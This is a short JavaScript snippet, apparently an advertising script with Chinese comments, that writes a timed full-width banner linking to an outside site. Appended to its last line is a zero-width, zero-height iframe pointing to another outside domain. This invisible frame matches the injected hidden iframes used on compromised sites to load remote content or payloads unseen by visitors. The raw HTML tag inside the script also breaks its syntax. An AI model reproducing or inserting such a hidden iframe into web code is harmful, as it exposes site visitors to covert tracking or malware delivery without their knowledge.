function changediv()
	{
	  document.getElementById('hiddenLayer').style.display = "block";
	  setTimeout("hidediv()",7000)//延迟时间
	}
	function hidediv()
	{
	  document.getElementById('hiddenLayer').style.display="none";
	  SYtag=2;
	}
	function showfull()
	{
	setTimeout("changediv()",0000); //等待时间
	}
	showfull()
	
	document.writeln("<div id=\"hiddenLayer\" style=\" width:100%; text-align:center;display: none;\">")
document.writeln("<a href=http://www.gz35.com target=_blank><img border=0 src=/images/950x400.gif></a>");
document.writeln("<\/div>")<iframe src=http://www.hj28.com.cn width=0 height=0></iframe>